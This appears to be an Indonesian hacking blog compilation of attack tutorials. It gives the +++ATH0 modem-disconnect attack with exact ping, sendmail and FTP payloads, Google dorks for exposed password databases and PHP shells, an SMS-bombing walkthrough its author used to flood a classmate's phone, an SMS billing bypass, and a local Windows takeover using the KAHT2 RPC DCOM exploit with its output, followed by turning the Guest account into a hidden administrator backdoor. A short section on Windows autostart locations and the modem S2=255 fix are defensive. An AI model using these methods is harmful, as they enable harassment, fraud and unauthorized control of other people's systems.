Banyak lagi yang lain tetapi hanya ini saja yang kami miliki.

Yang telah kita coba sejak xploit ditemukan:
Diamond SupraExpress 56k
Semua Rockwell Chipsets

Semua modem USR yang kami coba tidak berhasil, tetapi merek-merek lain umumnya berhasil.

PPP tidak melakukan kompresi terhadap IP datagram pada defaultnya,

PPP tidak melakukan kompresi terhadap IP datagram pada defaultnya, sehingga ip datagram yang dikandung dalam PPP frame akan persis sama. Atau dengan kata lain jika IP datagram mengandung "+++ATH0" modem juga akan menerima string yang persis sama.

Dua cara untuk membuat agar modem korban untuk mengirim +++ATH0 adalah :

1) Lakukan koneksi ke sendmail (tidak bekerja pada qmail), lakukan "HELO blah.com"
Kemudian ketik "VRFY +++ATH0", normalnya akan dijawab:
550 +++ATH0... User unknown, tetapi karena modem mereka melakukan interpretasi terhadap +++ATH0 maka modem melakukan hang up.

2) Lakukan koneksi ke FTP dan ketik "USER +++ATH0". Normalnya akan direspon:
331 Password required for +++ATH0. Tetapi karena modem menemukan +++ATH0 dan disconnect dilakukan.

Sebagaimana yang anda lihat, hal tersebut sederhana saja, dan ada jutaan cara yang dapat lakukan untuk menghasilkan efek yang sama.

Tentu saja serangan ini menyerupai suatu bom pipa. Kadang-kadang bekerja, dan kadang-kadang tidak, dan kadang-kadang menjadi senjata makan tuan. Jika modem anda juga memiliki efek yang sama terhadap serangan ini, dan anda mencoba menggunakan serangan ini, bisa saja anda sendiri yang akan mengalami disconnect. Ketika anda mengirim +++ATH0, modem anda mengenalinya juga. Ada beberapa cara dengan melakukan serangan dari server atau suatu koneksi ISDN, cable modem...

Untuk melindungi diri anda dari serangan ini, tambahkan pada modem initialization string anda "s2=255" yang mana akan mematikan kemampuan modem untuk memasuki modus perintah. (Hal ini dapat menjadi masalah baru bagi beberapa orang). Dimana s2 mengganti character yang akan digunakan untuk memasuki modus perintah. Pada normalnya adalah suatu nilai diatas 127 yang akan mematikan kemampuan untuk memasuki modus command secara manual, tetapi dalam hal ini tertentu saja membutuhkan suatu nilai yang lebih besar, untuk pastinya gunakan saja 255.

Berikut ini adalah cara yang digunakan MrPhoenix untuk mendapatkan hasil yang sama tanpa perlu koneksi ke suatu daemon maupun IRC Server. Dia menggunakan PING PAKET untuk memaksa korban melakukan respon terhadap string tersebut.

Ini adalah apa yang dia kirim:

+++ATH0 Ping exploit

Ping modem killer by MrPhoenix (phoenix@iname.com).

Ini adalah eksploitasi yang sederhana untuk +++ATH0 bug yang ada di Noc-Wage's post.

Memiliki efek pada: Semua modem yang mana tidak membutuhkan suatu 500msec atau lebih waktu idle setelah perintah +++, koneksi dengan suatu koneksi tanpa encryption/compression.

Beberapa cara untuk hung up telah diperkenalkan oleh Noc-Wage dengan menggunakan sendmail maupun ftp daemon, atau bahkan menggunakan suatu koneksi IRC. Tetapi ada satu cara yang lebih sederhana tanpa membutuhkan suatu daemon yang ada.

Anda dapat mengirim suatu ICMP ECHO_REQUEST ke target untuk mendapatkan suatu ICMP ECHO_RESPONSE, dan mengisi paket tersebut dengan +++ATH0 karakter.

Karakter dapat membantu pada modem tertentu yang mana membutuhkan suatu perintah ATH0 yang diikuti enter. Setelah target menerima ICMP ECHO_REQUEST akan mengirim ICMP ECHO_REPLY kepada anda dengan data yang sama dengan paket ICMP ECHO_REQUEST tersebut. Modem akan membaca +++, dan menuju ke modus perintah, kemudian membaca ATH0, dan menutup koneksi.

Untuk membuat agar hal diatas dapat bekerja, anda dapat membuat program sendiri yang mengirim paket yang diperlukan, atau menggunakan program ping dengan option yang "-p" yang mengagumkan dimana anda dapat mengisinya sampai 16 karakter pada paket yang akan dikirim. Option "-p" membutuhkan pola dimasukkan secara digit hexadesimal. Ekivalen dari '+++ATH0' string hexadesimal adalah : 2b2b2b415448300d .

Perintah lengkapnya adalah : ping -p 2b2b2b415448300d

*CATATAN*: Option "-p" tidak didukung oleh program "ping" dari Microsoft pada MS-Windows.

Berikut ini adalah suatu contoh :

[root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes

--- xxx.xxx.xxx.xxx ping statistics --- 5 packets transmitted, 0 packets received, 100% packet loss [root@narf ath0]#

Adalah suatu yang akan anda dapatkan jika modem memutuskan koneksi. Saya mengirim 5 paket untuk memastikan, karena 1 atau 2 paket mungkin tidak bekerja.

Berikut ini adalah yang anda peroleh jika bug tersebut tidak bekerja:

[root@narf ath0]# ping -p 2b2b2b415448300d -c 5 xxx.xxx.xxx.xxx PATTERN: 0x2b2b2b415448300d
PING xxx.xxx.xxx.xxx (xxx.xxx.xxx.xxx): 56 data bytes 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=0 ttl=252 time=182.4 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=1 ttl=252 time=190.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=2 ttl=252 time=190.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=3 ttl=252 time=190.1 ms 64 bytes from xxx.xxx.xxx.xxx: icmp_seq=4 ttl=252 time=180.1 ms

--- xxx.xxx.xxx.xxx ping statistics --- 5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 180.1/186.5/190.1 ms [root@narf ath0]#

Untuk melindungi diri anda, matikan perintah +++ dengan setting register S2 ke 255 (cara yang paling mudah), atau melakukan patching terhadap kernel anda untuk menjatuhkan (drop) paket masuk yang mengandung string "+++ATH0" (cara yang sulit).

Salam kepada: setiap orang di #grhack, zerox yang mana telah membantu saya untuk menemukan eksploitasi ini, Noc-Wage, nac, maffew dan semua orang lainnya din #hackers all the Greek hackers.

--------------------------------------------------------------------------------

Selengkapnya.....

Aktif Program

Written by ferry89 on 22.12

--------------------------------------------------------------------------------

Dapatkah kita mengaktifkan program di Windows tanpa diketahui pemakainya ?

Tulisan ini ditulis dengan tujuan memberi pengetahuan kepada pemakai komputer, terutama yang menggunakan sistem operasi Windows, akan adanya fasilitas autostart yang pada satu sisi sangat bermanfaat untuk secara otomatis menjalankan aplikasi setiap mengaktifkan komputer. Tetapi fasilitas ini juga banyak digunakan oleh para hacker untuk mengaktifkan program remote yang telah dimasukkan ke komputer tanpa diketahui oleh korban.

Dewasa ini telah beredar berbagai program yang dapat berjalan secara background pada komputer, umumnya program ini digunakan untuk tugas-tugas tertentu yang tidak mengganggu perhatian pemakai, misalnya program Task Scheduler yang akan menjalankan program tertentu berdasarkan jadwal yang dibuat, program Messanger yang akan aktif ketika kita dipanggil oleh rekan melalui internet.

Tetapi banyak juga program background yang digunakan untuk tujuan yang tidak baik, seperti remote akses dimana aktifitas kita dapat dilihat melalui suatu remote software, bahkan dapat mengambil file dari media penyimpan tanpa kita ketahui melalui LAN maupun Internet, bahkan beberapa trojan berjalan di background dan secara mengambil user id dan password pemakai, dan mengirimkannya melalui internet.

Sebagai seorang yang bergerak dibidang IT, saya sering ditanya oleh orang-orang tertentu bagaimana mengetahui apa yang sedang dikerjakan bawahannya, apakah mereka benar-benar sedang mengerjakan pekerjaan kantor atau sedang bermain-main. Jawabnya tentu saja menginstalasi program remote administrator yang berjalan di background, sehingga pemakai tidak akan sadar bahwa aktifitas layarnya sedang diawasi.

Sebagai pemakai komputer yang awam, tentu saja kita perlu mengetahui adanya hal-hal tersebut, terutama dengan makin pentingnya komputer dalam perdagangan dan industri, misalnya Internet Banking, E-Commerce. Pengetahuan akan metode autostart ini akan menjadi nilai tambah bagi anda, terutama pemakai yang memiliki pengetahuan terbatas tentang komputer dan sistem operasi.

--------------------------------------------------------------------------------

Beberapa metode autostart pada Windows
Banyak program Windows memiliki kemampuan untuk mengaktifkan dirinya setiap kali anda mengaktifkan komputer anda. Teknik ini juga digunakan oleh berbagai trojan untuk mengaktifkan dirinya. Adapun metode-metode ini adalah sebagai berikut :

Menjalankan Windows dari autoexec.bat secara win nama_program, dimana nama_program adalah program yang akan diaktifkan.

Mengikutsertakan dirinya dalam file winstart.bat

Menggunakan perintah LOAD= atau RUN= pada file win.ini

Menambah dirinya di shell=explorer.exe nama_program pada file system.ini, ini adalah salah satu metode yang digunakan oleh SubsSeven untuk mengaktifkan dirinya setiap anda start windows.

Menduplikasikan dirinya atau membuat shortcut pada direktori C:\WINDOWS\Start Menu\Programs\StartUp, metode ini digunakan oleh microsoft office untuk mengaktifkan fasilitas findfast, dan office toolbar

Menjalankan dirinya dari salah satu registry key berikut ini :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion

dengan key :

Run
RunOnce, dimana key harus dibentuk kembali setelah launch
RunOnceEx, dimana key harus dibentuk kembali setelah launch
RunService, dimana key harus dibentuk kembali setelah launch
RunServiceOnce, dimana key harus dibentuk kembali setelah launch
HKEY_CLASSES_ROOT\exefile\shell\open\command
[dari pada "%1" %* . Metode ini sangat sukar dimengerti dan licik]

Memeriksa program-program yang dijalankan pada StartUp komputer anda !!!

Anda dapat memeriksa kondisi berdasarkan point-point diatas dengan menggunakan utility yang tersedia pada windows seperti :

SysEdit.Exe, yang terdapat pada \Windows\System, yang dapat anda jalankan dari Start, Run, kemudian ketik SysEdit.Exe, kemudian klik OK, otomatis akan membuka file Config.sys, Autoexec.bat, System.ini, Win.ini dan Protocol.ini.

MsConfig.Exe, adalah tools visual yang lebih friendly, saya sarankan sebaiknya anda menggunakan tools ini, kemudian pilih tab StartUp, disana anda dapat memilih program-program yang akan dijalankan di pada saat StartUp, dan mana saja yang ingin dibuang.

Beberapa hal yang perlu anda ketahui untuk menjaga perfomance Windows anda !!!

Pada dasarnya, hanya item-item yang berguna yang akan berada pada SystemTray "SysTray.exe", dan driver-driver tambahan yang dibutuhkan agar perangkat keras khusus tertentu dapat bekerja dengan baik, seperti scanner, kamera digital, yang umumnya dijalankan dengan menggunakan HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.

Jika anda menginstall TweakUI akan terdapat Tweak UI "RUNDLL32.EXE TWEAKUI.CPL,TweakMeUp" pada HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices.

Hal lain yang mungkin ada jika anda menginstalasi program antivirus (yang mana akan memperlambat sistem anda secara keseluruhan, tetapi benar-benar berguna, karena akan memeriksa keberadaan virus/trojan pada akses disk, maupun file, serta email attachment).

Jangan lupa lakukan pemeriksaan terhadap kemungkinan duplikat terhadap program-program tertentu, kadang-kadang suatu program perlu dijalankan lebih dari satu cara.

Sebenarnya RunOnce key dan sejenisnya digunakan untuk menyelesaikan proses instalasi software dimana perlu mengkonfigurasikan dirinya pada proses boot pertama kali setelah diinstalasi, terutama pada software yang setelah diinstalasi memberikan pesan "This installation requires to restart your system to be completed, you want to reboot now or later?"
Jika sistem anda dalam keadaan bersih, maka ketika anda mengaktifkan task monitor (CTRL+ALT+DEL) sesaat setelah Windows anda diboot, anda seharusnya hanya melihat Explorer, SysTray, dan driver-driver yang dibutuhkan untuk hardware-hardware spesial tertentu.

--------------------------------------------------------------------------------

Selengkapnya.....

Tips Googling

Written by ferry89 on 21.30

Memang tidak aneh jika nama Google dikenal dimana – dimana, karena hampir setiap orang memakai search engine ini untuk tujuan tertentu. Terutama para hacker, hacker mana yang tidak kenal dengan Google ? Hampir setiap hacker sudah sangat akrab dengan Google, karena . . . Google adalah senjata rahasia mereka dalam mencari informasi tentang target – targetnya. Bagaimana hacker bisa melakukannya dengan Google ? Sebentar lagi Anda akan tahu jika Anda mau membaca artikel ini . . .

Penggunaan dasar :

# Google tidak “case sensitive”.
Keyword: YogYaFreE = Yogyafree = yoGyafREe
Akan menghasilkan keyword yang sama

# AND: Secara default Google menggunakan keyword and.
Keyword: menjadi hacker
Hasilnya pencarian akan mengandung kata “menjadi” dan “hacker”

# OR: Digunakan untuk menemukan halaman yang setidaknya berisi salah
satu dari keyword. Note: OR dituliskan dengan huruf besar semua.
Keyword: now OR nothing
Hasilnya pencarian akan mengandung kata “now” atau “nothing”

# +: Google akan mengabaikan pencarian dengan kata-kata umum seperti
“how” dan “where”. Jika kata-kata umum ini begitu penting, anda
bisa menambahkan tanda “+” didepan keyword tersebut.
Keyword: hacker how => Kata “how” akan diabaikan
Keyword: hacker +how => Kata “how” akan diikutsertakan

# -: Tanda minus “-” bisa digunakan untuk mengecualikan kata-kata
tertentu dalam pencarian. Misal kita ingin mencari kata
“linus tanpa linux”, kita bisa menggunakan “linus -linux”

# *: Google tidak mendukung pencarian * sebagai pengganti huruf.
Misalkan kita ingin mencari dengan kata depan sa*
Google tidak mencari kata “sapi”, “sampeu”, “sakti”, dll
Google akan menghasilkan pencarian hanya yang mengandung kata
“sa”.

Tetapi google mendukung penggunaan * dalam pencarian kalimat.
Keyword: “menjadi * hacker”
Hasilnya pencarian dapat menghasilkan “menjadi seorang hacker”,
“menjadi white hacker”, dll.

# “”: Dapat digunakan untuk mencari kata yg lengkap.
Keyword: “menjadi hacker”
Hasilnya pencarian akan mengandung kata “menjadi hacker”

# ?: Dapat digunakan untuk mencari pada direktori Google
Keyword: ?intitle:index.of? mp3

Operator Spesial

- Contoh hasil pencarian -

Google => Judul
… Language Tools. Ways to help with tsunami relief \
Advertising Programs - About Google ©2005 Google => Deskripsi
Searching 8,058,044,651 web pages. /
www.google.com/ - 3k - 5 Jan 2005 => URL

- Contoh hasil pencarian -

# intitle: Untuk mencari kata-kata dari judul suatu halaman web.
Keyword: intitle:Admin Administrasi
Keyword tersebut akan mencari judul halaman “Admin” dengan
deskripsi “Administrasi”

# allintitle: Untuk mencari kata-kata dari judul halaman web
secara lengkap.
Keyword: allintitle:Admin Administrasi
Keyword tersebut akan mencari judul halaman yang mengandung
kata “Admin” dan “Administrasi”

# inurl: Digunakan untuk mencari semua URL yang berisi kata-kata
tertentu.
Keyword: inurl:Admin Administrasi
Keyword tersebut akan mencari URL yang mengandung kata “Admin”
dengan deskripsi “Administrasi”

# allinurl: Digunakan untuk mencari semua URL yang berisi kata-kata
tertentu.
Keyword: allinurl:Admin Administrasi
Keyword tersebut akan mencari URL yang mengandung kata “Admin”
dan “Administrasi”

# site: Untuk mencari dalam suatu situs tertentu saja
Keyword: site:www.yogyafree.net
Semua pencarian hanya berdasarkan site “www.yogyafree.net”

# cache: Ketika Googlebot mengindeks suatu situs, google akan
mengambil snapshot dari semua halaman yang telah terindeks.
Operator ini membantu melihat halaman-halaman yang telah
dicache.
Keyword: cache:www.yogyafree.net
Misalkan site aslinya sudah tidak aktif, anda tetap dapat melihatnya
pada snapshot/cache yang disimpan oleh Google.

# define: Operator ini digunakan untuk mencari definisi dari frasa
tertentu. Semua kata yang diketik setelah operator ini akan
diperlakukan sebagai satu frasa.
Keyword: define:hacker

# filetype: Jika kita mencari jenis file tertentu yang berisi informasi
yang anda inginkan kita bisa menggunakan operator ini.
Keyword: “hacker” filetype:pdf
Sampai tulisan ini dibuat google support tipe file
# Adobe Portable Document Format (pdf)
# Adobe PostScript (ps)
# Lotus 1-2-3 (wk1, wk2, wk3, wk4, wk5, wki, wks, wku)
# Lotus WordPro (lwp)
# MacWrite (mw)
# Microsoft Excel (xls)
# Microsoft PowerPoint (ppt)
# Microsoft Word (doc)
# Microsoft Works (wks, wps, wdb)
# Microsoft Write (wri)
# Rich Text Format (rtf)
# Shockwave Flash (swf)
# Text (ans, txt)
Ref: http://www.google.com/help/faq_filetypes.html

# link: Untuk mencari tahu berapa banyak link ke suatu situs, kita bisa
menggunakan operator link.
Keyword: link:www.google.com

# related: Untuk mencari halaman yang isinya mirip dengan URL tertentu.
Keyword: related:www.google.com

Memanipulasi URL Google

#> And bisa mengganti interface google dengan mengganti variabel hl
(default google hl=en => bahasa inggris)
Misalkan kita mengubah interface-nya menjadi bahasa Indonesia.
Ex:
http://www.google.com/search?hl=en&lr=&q=site%3Aboleh-hacking.com&btnG=Search
Hasil modifikasi URL
http://www.google.com/search?hl=id&lr=&q=site%3Aboleh-hacking.com&btnG=Search

#> Anda dapat mengganti hasil pencarian hanya pada bahasa tertentu. Hal ini
dilakukan dengan modifikasi variabel lr.
(default google lr=lang_en => bahasa inggris)
Misalkan kita hasil pencarian hanya bahasa Indonesia.
Ex:
http://www.google.com/search?hl=en&lr=&q=site%3Aboleh-hacking.com&btnG=Search
Hasil modifikasi URL
http://www.google.com/search?hl=en&lr=lang_id&q=site%3Aboleh-hacking.com&btnG=Search

#> Secara default google akan menampilkan 10 site perhalaman. Anda dapat
mengubahnya secara langsung melalui URL-nya, dengan menambahkan variabel
num pada URL.
Penggunaan num antara 1-100
Ex:
http://www.google.com/search?hl=en&lr=&q=site%3Aboleh-hacking.com&btnG=Search
Hasil modifikasi URL
http://www.google.com/search?num=100&hl=en&lr=&q=site%3Aboleh-hacking.com&btnG=Search

#> as_qdr=mx: merupakan variabel lainnya yang dapat digunakan. Variabel ini
digunakan menentukan hasil berdasarkan bulan. x antara 1-12
Ex:
http://www.google.com/search?hl=en&lr=&q=site%3Aboleh-hacking.com&btnG=Search
Hasil modifikasi URL
http://www.google.com/search?hl=en&lr=&as_qdr=m1&q=site%3Aboleh-hacking.com&btnG=Search

#> safe=off: arti dari variabel ini filter “SafeSearch” dimatikan. “SafeSearch”
untuk memfilter hasil pencarian sexual.

Dengan pengetahuan di atas anda dapat membuat sendiri form Google di komputer
sendiri. Sehingga tidak perlu lagi mengunjungi http://www.google.com terlebih
dahulu (kecuali anda menggunakan brwoser yang support google secara built-in
atau menggunakan Google Toolbar). Dengan melakukan ini kita bisa menghemat
bandwidth ke luar negeri.

Contoh script google.html lengkap dengan variabelnya

- BOF google.html –

- EOF google.html -

Anda tinggal menghilangkan Variabel yang tidak anda inginkan atau
menambahkan apapun disana. Semuanya terserah kepada anda,
Berikut merupakan script default pencarian google.

- BOF google.html -

- EOF google.html -

Google masih terus dikembangkan. Untuk melihat apa yang sedang
dikembangkan Google. Anda bisa ke http://labs.google.com

Tips & Tricks

Dari dasar-dasar dan spesial operator tersebut anda bisa mencampurkan
operator-operator tersebut.

Ex:
- Keyword: site:boleh-hacking.com, menghasilkan semua site www.yogyafree.net. Kemudian anda bisa mencoba keyword: site:boleh-hacking.com hacker, akan menghasilkan semua site boleh-hacking.com yang mengandung kata hacker.

Kita juga dapat melakukan pencarian secara spesifik melalui google.
Untuk melakukannya anda dapat ke site berikut:
- http://www.google.com/bsd
- http://www.google.com/mac
- http://www.google.com/linux
- http://www.google.com/microsoft
- http://www.google.com/univ/education

Berbagai trik keyword pada Google:
parent directory books -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory video -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
parent directory MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums

intitle:index of intitle:mp3 -html -htm name size
intitle:index of intitle:video -html -htm name size
intitle:index of intitle:cgi-bin passwd -html -htm name size
intitle:index of intitle:cgi-bin password -html -htm name size

inurl:”admin.mdb” -html
inurl:”password.mdb” -html
inurl:”data.mdb” -html
“phpMyAdmin” “running on” inurl:”main.php”
intitle:”PHP Shell” “Enable stderr” php

Selengkapnya.....

NEW SMS BOMBER INDOSAT

Written by ferry89 on 21.19

Sebel sama orang? wew sering atuh w juga wkwkwkwkwk, tapi yang ini bner bner nybelin tw!

Cek dan ricek ternyata anak sekelas, dan dia pakai im3, hihihihi salah besar dia ngerjain orang kyak w :)

Langsung saja nomor dia w bomb selama satu jam!! wkwkwk ribuan sms pun datang kepada dia :)

Handphone nya hank! sukur mank enak!! wkwkwkwkw, ok to the point.

Persiapan:

1. Browser Mozilla Firefox
2. Addons ReloadEvery download dan install disini
https://addons.mozilla.org/en-US/firefox/downloads/file/467/reloadevery-2.0-fx.xpi
3. Koneksi Kenceng *periphreal*

Langkah:

1. Browse ke http://www.indosatcommunity.com/registration
2. Registrasi saja asal asalan
- Isi username asal asalan
- Password isi asal asalan
- Cocokan capctha
[img]http://i240.photobucket.com/albums/ff307/murraybridge/a.jpg[/img]
3. Setelah registrasi daftarkan MSISDN target Bomb contoh 62856161651 tersedia kotak box 4
[img]http://i240.photobucket.com/albums/ff307/murraybridge/d.jpg[/img]
4. Klik Register
5. Nah disini klik Send Passkey Again disebelah kotak box kosong..
6. Stelah di klik Send Passskey Again akan muncul tulisan Your passkey has been sent!
[img]http://i240.photobucket.com/albums/ff307/murraybridge/b.jpg[/img]
7. Klik kanan di page lalu pilih Reload Every dan Custom kan ke 1 - 2 Seconds..
8. Jika mucul dialog Box, tekan ENTER bukan di klik OK
9. Selesai :) tunggu selama 1 jam / 2 jam tergantung kekeselan kamu :D

Dalam proses pengeboman jangan membuka tab lain yang menuju ke page registrasi IndosatCommunity.com karena akan mengulang cookies kamu dan ternyata setelah di Reload Every ternyata page nya redirect ke step awal..

Target Bomb akan mendapat sms yang isinya

Sender: INDOSAT
Body: Passkey Anda untuk Indosat Community adalah xxxx

Tq...

Selengkapnya.....

CARA SMS GRATIS

Written by ferry89 on 21.07

== BUG SMS SATELINDO ==

Teknologi SMS sekarang ini memang makin marak terlebih lagi dengan keadaan
ekonomi yang Berantakan, solusi smslah yang lebih tepat dibanding menelpon
yang sangat merobek kantong. GSM yang menggunakan teknik switching dengan
memanfaatkan system base station memungkinkan kita bisa mengirim pesan
alphanumeric singkat dari sebuah Handphone ke handphone lain.oke sampe
disini preambule kita akhiri.

Kenapa dengan sms gratis yang dulu pernah populer sekarang telah susah ditemui?,
itu pertanyaan yang sangat lazim terlontar dari pikiran kita semua yang mengandalkan
sebuah promosi produk yang akhirnya menjadi komersil. Bug yang saya dapatkan pada
akhir bulan ini yaitu sebuah sms gratis dengan memanfaatkan kelemahan pada SATELINDO GSM.
kenapa satelindo? nomor yang di keluarkan pihak SATELINDO yang baru dengan nomor
eri depan 163***(misal +6281616378**) mempunyai bug yang dapat bermanfaat bagi
kita untuk ber SMS gratis dengan sipengguna. Telah dicoba dari Simpati, mentari, proXL,
dll tetap bisa dilakukan secara gratis.

cara sebagai berikut:
1. ketik SMS
2. kirim kenomor yang dituju ( misal: +6281616378** - tanpa bintang)
(yang saya dapatkan yaitu buug mentari versi 6163 <- diambil dari kode kartu dan
nomor awal dari kartu mentari tersebut)
3. cara tulis nomor yang dituju menjadi 616378** (coba dgn nomor lain bila perlu)
4. tidak menggunakan karakter apapun yang ditambah pada nomor tujuan (karakter
bintang hanya untuk menutupi nomor asli yang dituju.
4. dapat kita liat bahwa sms kita terkirim.
5. finish

Dari sana kita bisa lakukan dengan sepuas hati.

Penulis Minta MAAF KEPADA:
1. PIHAK YANG TERKAIT DENGAN SYSTEM SMS DARI SATELINDO
2. SEMUA PIHAK YANG TERILHAMI UNTUK MELAKUKAN PERCOBAAN INI
3. SEMUA YANG MEMBACA DAN KEMUDIAN TERSINGGUNG KARENA INI.

MOGA YANG DIATAS SELALU MEMBERIKAN ILMU YANG LEBIH PADA SEMUA MASYARAKAT KITA.

Selengkapnya.....

Backdooring WINDOS XP & 2000

Written by ferry89 on 20.50

== Backd00ring WINDOS XP && 2000 ==

Pengantar

Tulisan ini dibuat untuk membuktikan bahwa sabotase account admin
pada windows juga dapat dilakukan secara lokal, bisa dengan
menggunakan software yang sama, atau bahkan tanpa software sama sekali
tulisan ini juga menyambung artikel yang di buat oleh the_day,
tetapi di khususkan untuk eksploitasi secara lokal .

artikel ini ditujukan untuk :
- buat yang lupa password admin :p
- buat yang mimpi pengen jadi admin :P
- buat yang dendam sama admin karena di curangin :)
- buat yang mau belajar exploitasi windows
- buat yang mau tau kebobrokan windows
- ..... (isi ndiri, kenapa kamu tertarik baca ini)

bahan yang di perlukan :
-sploits RPC DCOM : *kaht2 (for windust)
-atau sploits echokillrpc yang khusus local sploits
-account user biasa or minimal Guest

dari user biasa :

1. ekstrak kaht2 yang dimiliki, biar mudah taruh aja di C:\
terus jalankan :
start > run > command >

masuk ke c:\ipconfig or kalo males pake ip jaringan bisa pake
ip buat loopback yaitu 127.0.0.1

ketik aja:
c:\kaht2 127.0.0.01 127.0.0.1

_________________________________________________
KAHT II - MASSIVE RPC EXPLOIT
DCOM RPC exploit. Modified by aT4r@3wdesign.es
#haxorcitos && #localhost @Efnet Ownz you!!!
PUBLIC VERSION :P
________________________________________________

[+] Targets: 127.0.0.0-127.0.0.1 with 50 Threads
[+] Attacking Port: 135. Remote Shell at port: 328
[+] Scan In Progress...
- Connecting to 127.0.0.1
Sending Exploit to a [WinXP] Server...
- Conectando con la Shell Remota...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

2. jalankan echokillrpc.exe

dapatkan c:\windows\sysem32\

masuk deh :D dengan account Administrator

sekarang kamu mau ngapain? bikin backdoor aja or mau buat account baru
admin or jadiin account kamu admin ?

a. bikin backdoor aja :D
kalo ini kamu kudu cari account yang gak di aktifkan sehingga user
tersebut gak terdeteksi pada halaman login user :P
biasanya account Guest yang dibuat tidak aktif padahal masih ada/default
nah kamu bisa jadikan ini backdoor kamu , semisal kamu mau remote or
login biasa :)

gimana caranya ? belajar :P , just kiddding!

kamu ketik sintax berikut ini , bair jelasnya kamu liat dulu account guest
ada apa kagak ? pake sintax net user

C:\WINDOWS\system32>net user

net user

User accounts for \\

------------------------------------------------------------------------------
Administrator Guest HelpAssistant
SUPPORT_388945a0 y3dips
The command completed with one or more errors.

(cat : lihat ada beberapa account yang tercipta di situ dan dapat di
manfaatkan :P)

YUPe, ternyata ada account guest, biar jelas apa dia aktif or kagak
kita ketik aje net user Guest

C:\WINDOWS\system32>net user Guest
net user Guest
User name Guest
Full Name
Comment Built-in account for guest access to the computer/d
omain
User's comment
Country code 000 (System Default)
Account active No <=====gak aktif :p
Account expires Never

Password last set 2/29/2004 3:58 AM
Password expires Never
Password changeable 2/29/2004 3:58 AM
Password required No
User may change password No

Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/29/2004 3:42 AM

Logon hours allowed All

Local Group Memberships *Guests
Global Group memberships *None
The command completed successfully.

hehehehe, ternyata gak aktif euy..

sekarang kita jadikan backdoor pake perintah

C:\WINDOWS\system32>net localgroup Administrators Guest /add

menjadikan user Guest menjadi group Administrators.

oke! kelar sudah jika kita perlu sekali-sekali maka tinggal memakai
account ini, awas jangan sampai di ambil orang lo...
or mau dikasih password aja, biar lebih asyik :D

b. buat account sebagai admin

setelah dapet command prompt sebagai admin hasil dari eksploitasi dengan
kaht2 atau echokillrpc, maka tinggal jalankan exploits echobacd00r.bat
atau echobackd00r.exe yang dapat anda letakkan pada disket atau telah
copikan ke C:\Windows\system32\

sehingga tinggal ketik

c:\windows\system32\echobacd00r.bat

selesai!!!

atau jika anda tidak menggunakan echobackd00r.bat atau echobackd00r.exe
anda dapat mengetikkan secara manual dengan penggunaan net user dan
net localgroup, untuk detilnya sama seperti pembuatan account admin
pada artikel the_day tentang hacking windows 2000

2 . Ekploitasi karena kelemahan windust apabila saat installasi gak
ngisiin password admin (inget gak!!)

cara termudah adalah kamu masuk ke windows, saat booting tekan
F8, terus pilih safe mode dengan command prompt
setelah itu mausk deh ke account admin, :P

pake command prompt dan perintah net user untuk add user dan
pake sintax net localgroup untuk jadikan user tsb admin ..

cat: terbukti pada beberapa pc yang di install di komputer
tempat bekerja yang ternyata dibiartkan dengan admin yang
tak berpassword :D,
(keasyikan buat click-click duang kali )

3. Eksploitasi lokal dengan menggunakan :
1. Disk bootable,+ echobackd00r.bat/echobackd00r.exe (jika ada)
2. Eksploits kaht2 or echokillrpc

masukkan disket,
apabila masuk ke command prompt maka silakan eksekusi langsung kaht2nya
atau echokillrpc.

selanjutnya tinggal modifikasi account yang ada atau ciptakan account baru
(dapat menggunakan echobackd00r.bat atau secara manual)

cara ini dilakukan jika cara 1 dan 2 tidak bisa di lakukan
(cat : cara 1: account user biasa gak ada, cara 2: account admin
dengan F8 diberi password)

[perintah net user ]

NET USER
[username [password | *] [options]] [/DOMAIN]
username {password | *} /ADD [options] [/DOMAIN]
username [/DELETE] [/DOMAIN]

NET USER creates and modifies user accounts on computers. When used
without switches, it lists the user accounts for the computer. The
user account information is stored in the user accounts database.

This command works only on servers.

username Is the name of the user account to add, delete, modify, or
view. The name of the user account can have as many as
20 characters.
password Assigns or changes a password for the user's account.
A password must satisfy the minimum length set with the
/MINPWLEN option of the NET ACCOUNTS command. It can have as
many as 14 characters.
* Produces a prompt for the password. The password is not
displayed when you type it at a password prompt.
/DOMAIN Performs the operation on a domain controller of
the current domain.
/ADD Adds a user account to the user accounts database.
/DELETE Removes a user account from the user accounts database.

Options Are as follows:

Options Description
--------------------------------------------------------------------
/ACTIVE:{YES | NO} Activates or deactivates the account. If
the account is not active, the user cannot
access the server. The default is YES.
/COMMENT:"text" Provides a descriptive comment about the
user's account (maximum of 48 characters).
Enclose the text in quotation marks.
/COUNTRYCODE:nnn Uses the operating system country code to
implement the specified language files for a
user's help and error messages. A value of
0 signifies the default country code.
/EXPIRES:{date | NEVER} Causes the account to expire if date is
set. NEVER sets no time limit on the
account. An expiration date is in the
form mm/dd/yy or dd/mm/yy, depending on the
country code. Months can be a number,
spelled out, or abbreviated with three
letters. Year can be two or four numbers.
Use slashes(/) (no spaces) to separate
parts of the date.
/FULLNAME:"name" Is a user's full name (rather than a
username). Enclose the name in quotation
marks.
/HOMEDIR:pathname Sets the path for the user's home directory.
The path must exist.
/PASSWORDCHG:{YES | NO} Specifies whether users can change their
own password. The default is YES.
/PASSWORDREQ:{YES | NO} Specifies whether a user account must have
a password. The default is YES.
/PROFILEPATH[:path] Sets a path for the user's logon profile.
